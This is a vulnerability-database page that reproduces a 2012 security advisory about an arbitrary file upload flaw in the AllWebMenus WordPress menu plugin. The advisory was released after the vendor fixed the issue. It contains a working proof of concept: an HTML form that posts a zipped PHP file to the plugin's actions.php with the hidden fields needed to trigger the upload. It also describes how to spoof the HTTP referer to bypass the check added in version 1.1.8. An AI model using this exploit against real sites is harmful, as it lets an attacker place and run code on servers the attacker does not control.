Lucene search
K

AllWebMenus < 1.1.9 WordPress Menu Plugin Arbitrary File Upload

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

AllWebMenus < 1.1.9 WordPress Menu Plugin Arbitrary File Upload fix by 6Scan security tea

Code

                                                #Exploit Title: AllWebMenus WordPress Menu Plugin Arbitrary file upload
#Version:  &#60; 1.1.9
#Date: 2012-01-19
#Author: 6Scan (http://6scan.com) security team
#Software Link: http://wordpress.org/extend/plugins/allwebmenus-wordpress-menu-plugin/
#Official fix: This advisory is released after the vendor was contacted and fixed the issue promptly.
#Description:  Unauthorized users could upload arbitrary files to the vulnerable server, potentially executing commands

AllWebMenus WordPress Menu Plugin
&#60;1.1.8  Remote File upload

On versions &#60; 1.1.8 , lack of checks in script actions.php allowed malicious user to upload any file to the vulnerable server.
Create a file (For example, Wordpress_security.php , with this content &#60;?php echo &#39;6Scan to the rescue&#39;;  ?&#62; )
Compress it with zip to awm.zip

Use this form to upload the php file to the server

&#60;form action=&#34;http://server/wp-content/plugins/allwebmenus-wordpress-menu-plugin/actions.php&#34; method=post enctype=&#34;multipart/form-data&#34;&#62;
&#60;input type=&#34;file&#34; name=&#34;awm1&#34; size=100&#62;
&#60;input type=&#34;hidden&#34; name=&#34;AWM_menu_id&#34; value=&#34;2134234&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;theaction&#34; value=&#34;zip_update&#34;&#62;
&#60;input type=submit&#62;
&#60;/form&#62;


Version 1.1.8 also checks the source referrer, so you have to use scripting language (or spoof it in another way) to set the HTTP_REFERER to 
&#34;wp-admin/options-general.php?page=allwebmenus-wordpress-menu-plugin/allwebmenus-wordpress-menu.php&#34;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
20